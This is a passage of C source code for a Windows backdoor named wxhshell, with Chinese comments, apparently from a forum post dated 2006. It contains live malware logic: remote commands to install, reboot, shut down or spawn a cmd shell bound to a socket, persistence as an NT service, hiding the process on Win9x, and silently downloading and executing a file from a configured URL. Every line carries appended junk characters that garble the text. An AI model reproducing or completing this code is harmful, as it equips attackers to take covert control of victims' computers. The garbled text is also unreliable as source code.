  ?D,=37  
  // 帮助 J PyOG _h  
  case '?': { 1O].v&{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kGpa\c g1  
    break; -jgysBw+Xb  
  } #&v/icz$  
  // 安装 8+]hpa,q  
  case 'i': {  Qk!;M |  
    if(Install()) <YA&Dr3OD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UnVm1ZWZ  
    else +("7ZK?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q$1PG+-  
    break; ~~/xR s  
    } ^c~)/F/cF  
  // 卸载 LjL[V'JL  
  case 'r': { f.24:Dw,  
    if(Uninstall()) ~GE$myUT\p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =@TQ>Qw%b  
    else #r PP*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7+x? " 4  
    break; ]9}HEu;1M  
    } tm7u^9]  
  // 显示 wxhshell 所在路径 | mu+9   
  case 'p': { dU\%Cq-G)  
    char svExeFile[MAX_PATH]; 0]D0{6x8  
    strcpy(svExeFile,"\n\r"); )54%HM_$k  
      strcat(svExeFile,ExeFile); v]__%_  
        send(wsh,svExeFile,strlen(svExeFile),0); hOhS)  
    break; M#|dIbns H  
    } V\(:@0"  
  // 重启 eZ"1gYqy  
  case 'b': { cRX~z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kB5.(O  
    if(Boot(REBOOT)) Xl@cHO=i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?g!V!VS2  
    else { [{C )LDN  
    closesocket(wsh); eNiaM6(J  
    ExitThread(0); iNwqF0  
    } 5NJ4  
    break; A(]H{>PMy  
    } wP,JjPUt  
  // 关机 zE;bBwy&  
  case 'd': { /b|0PMX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =2w4C_  
    if(Boot(SHUTDOWN)) }w4QP+ x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u&wiGwF[  
    else { j5@:a  
    closesocket(wsh); K'#E3={tt  
    ExitThread(0);  +H$!a  
    } =IAsH85Q  
    break; qY 4#V k  
    } $=?@*p  
  // 获取shell [pVamE  
  case 's': { /c):}PJ^#7  
    CmdShell(wsh); Z,iHy3`  
    closesocket(wsh); tpuYiL  
    ExitThread(0); t43)F9!  
    break; &~CY]PN.  
  } a~8[<Fomj  
  // 退出 " vtCTl~t  
  case 'x': { DNP13wp@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eW|^tH  
    CloseIt(wsh); \=>H6x]q  
    break; BC'llD  
    } Le%Z V%,  
  // 离开 ]~Y<o  
  case 'q': { {\[5}nV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }jill+]  
    closesocket(wsh); 3j3N!T9  
    WSACleanup(); <]G]W/eB'  
    exit(1); }`+B=h-dW  
    break; {&Q9"C  
        } [V:\\$  
  } :_QCfH  
  } U!Ek'  
/> 4"~q)  
  // 提示信息 1!>Jpi0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *-xU2  
} Y3O#Q)-j$  
  } -kbg\,PW  
[LRLJ_~g5  
  return; M`S0u~#tI  
} %Z*sU/^  
bu51$s?B  
// shell模块句柄 V\6]n2  
int CmdShell(SOCKET sock) t]X w{)T  
{ )XWP\ h  
STARTUPINFO si; &?h,7 D;A  
ZeroMemory(&si,sizeof(si)); 36am-G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9Vf1Xz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;,]P=Ey  
PROCESS_INFORMATION ProcessInfo; + T8B:  
char cmdline[]="cmd"; Gdg"gi!4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zhf.NCSt(  
  return 0; GaSPJt   
} wgw(YU  
'R_g">B.  
// 自身启动模式 4Fm90O  
int StartFromService(void) NB<A>baL*  
{ 2+X\}s1vN  
typedef struct *E{2J:`  
{ \_B[{e7z  
  DWORD ExitStatus; %RDI!e<e}  
  DWORD PebBaseAddress; Qca&E`~Q  
  DWORD AffinityMask; 7NJhRz`_  
  DWORD BasePriority; i'\T R|qd  
  ULONG UniqueProcessId; P+$:(I  
  ULONG InheritedFromUniqueProcessId; xNbPsoK  
}   PROCESS_BASIC_INFORMATION; aE2.L;Tk?  
F+u|HiYG  
PROCNTQSIP NtQueryInformationProcess; ^yOZArc'r  
4R\ Hpt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \eFR(gO+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,TFIG^Dvq  
`]W| 8M  
  HANDLE             hProcess; |6< p(i7  
  PROCESS_BASIC_INFORMATION pbi; L`24 ?Y{  
J_;o|gqX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ? YG)I;(  
  if(NULL == hInst ) return 0; o]opdw  
pxa(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h2D>;k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o>VVsH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zE_i*c"`  
YD7Oao4:o  
  if (!NtQueryInformationProcess) return 0; 87YyDWTn  
^U!0-y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1@-Ns  
  if(!hProcess) return 0; v;ZA 4c  
?5 {>;#0Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yNbjoFM.i  
pfI"36]F  
  CloseHandle(hProcess); m|G'K[8  
T~='5iy|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7"C$pm6  
if(hProcess==NULL) return 0; j}C}:\-fY  
g pOC`=  
HMODULE hMod; ){b@}13cF  
char procName[255]; mrjswF27$o  
unsigned long cbNeeded; q*>&^V$M  
O`<KwUx !  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N}t 2Nu-  
.*)2SNH  
  CloseHandle(hProcess); ?pd8w#O  
zld#qG6  
if(strstr(procName,"services")) return 1; // 以服务启动 a5 TioQ  
~5oPpTAe  
  return 0; // 注册表启动 G2T|RT $_K  
} n~V ]Z  
uu>Pkfo  
// 主模块 @8I4[TE  
int StartWxhshell(LPSTR lpCmdLine) ;N?]eM}yf  
{ p|p l  
  SOCKET wsl; ^\S~?0^m  
BOOL val=TRUE; Ug<#en  
  int port=0; qO|R^De  
  struct sockaddr_in door; L}pt)w*V1j  
R)m'lMi|  
  if(wscfg.ws_autoins) Install(); |0f>aZ  
#iHs* /85  
port=atoi(lpCmdLine); =D<PVGo9  
$[a8$VY^Cm  
if(port<=0) port=wscfg.ws_port; 0a XPPnuX  
]Yn_}Bq  
  WSADATA data; SR |`!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bl&nhI)w  
g0["^P1tV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oc>{?.^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,1+y/{S  
  door.sin_family = AF_INET; 5l UF7:A>#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %#xaA'? [  
  door.sin_port = htons(port); ,tu.2VQc@  
ia+oX~W!VR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {C N~S*m  
closesocket(wsl); \6Zr  
return 1; yj.7'{mA  
} =E#%'/ A;c  
3!|;iJRH  
  if(listen(wsl,2) == INVALID_SOCKET) { =V-|#j  
closesocket(wsl); 2Tp1n8FV  
return 1; ?WqT[MnK  
} WGZ9B^A  
  Wxhshell(wsl); UKT%13CO4U  
  WSACleanup(); 9\BT0kx  
9\mLW"  
return 0; sg3OL/"  
TU,s*D&e  
} n%o5kVx0  
|es?;s'  
// 以NT服务方式启动 Ki$MpA3j   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zkuU5O  
{ jN;@=COi  
DWORD   status = 0; Kzm+GW3o[  
  DWORD   specificError = 0xfffffff; xRzFlay8  
1q:2\d]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jZ~n[ f+Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2q=AEv/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PGhY>$q>b  
  serviceStatus.dwWin32ExitCode     = 0; bB1UZ O  
  serviceStatus.dwServiceSpecificExitCode = 0; Vr`R>S,-  
  serviceStatus.dwCheckPoint       = 0; ;RC{<wBTx  
  serviceStatus.dwWaitHint       = 0; ;S^'V  
q$Zh@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WrxP  
  if (hServiceStatusHandle==0) return; d"*uBVzXm  
%In A+5s`  
status = GetLastError(); '$ =>  
  if (status!=NO_ERROR) K}buH\yco  
{ qG?Qc (  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9=8iy w  
    serviceStatus.dwCheckPoint       = 0; irFMmIb  
    serviceStatus.dwWaitHint       = 0; i@)i$i4  
    serviceStatus.dwWin32ExitCode     = status; @s ?  
    serviceStatus.dwServiceSpecificExitCode = specificError; -.u]GeMy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bnq; )>&  
    return; 1PQ~jfGi  
  } ;=eDO(Ij  
7Bzq,2s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `.~N4+SP  
  serviceStatus.dwCheckPoint       = 0; Rg\z<wPBG  
  serviceStatus.dwWaitHint       = 0; fk6%XO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A+ZK4]xb  
} la0BiLzb]  
([T>.s  
// 处理NT服务事件,比如:启动、停止 "d#Y}@*~o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lT(WD}OS  
{ V@e?#iz  
switch(fdwControl) LrM=*R h,O  
{ DCIxRPw  
case SERVICE_CONTROL_STOP: dx5#\"KX=,  
  serviceStatus.dwWin32ExitCode = 0; n'wU;!W9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; , pDnRRJ!  
  serviceStatus.dwCheckPoint   = 0; \qdHX  
  serviceStatus.dwWaitHint     = 0; 8uc1iB  
  { [R(`W#W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y!~49<;  
  } $+8cc\fq  
  return; Pk{_(ybaY  
case SERVICE_CONTROL_PAUSE: bv]`!g: C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LSa,1{  
  break; /32Fy`KV  
case SERVICE_CONTROL_CONTINUE: X@ +{5%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n7B7m,@1  
  break; L-jJg,eY  
case SERVICE_CONTROL_INTERROGATE: bhTb[r  
  break; u)X=Qm)  
}; R} eN@#"D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0%9 q8 M;  
} d A@]!  
#C~+JL  
// 标准应用程序主函数 f2Klt6"9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nrL9 E'F'  
{ 1-%fo~!l  
"Gfh,e  
// 获取操作系统版本 |{BIHgMh  
OsIsNt=GetOsVer(); .*@;@06?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fsmycr!R  
mq aHwID  
  // 从命令行安装 J`peX0Stl  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hu\B"fdS  
9Tg IB  
  // 下载执行文件 ~ Sg5:T3  
if(wscfg.ws_downexe) { nHnK)9\N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iZ#!O* >  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ed0QQyC@9  
} <;9 I@VYK  
hv`~?n)D66  
if(!OsIsNt) { @oNH@a j%  
// 如果时win9x,隐藏进程并且设置为注册表启动  ,V,`Jf  
HideProc(); F f$L|  
StartWxhshell(lpCmdLine); s [M?as  
} ^Ew]uN>,  
else |jQ:~2U|   
  if(StartFromService()) @)UZ@ ~R  
  // 以服务方式启动 8ZM?)# `@{  
  StartServiceCtrlDispatcher(DispatchTable); 5m*iE*+  
else :}Xll#.,m  
  // 普通方式启动 j| v%)A  
  StartWxhshell(lpCmdLine); v0 nj M  
`_BNy=`s*  
return 0; fL_4uC i\  
}
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只看该作者 1 发表于: 2006-10-10
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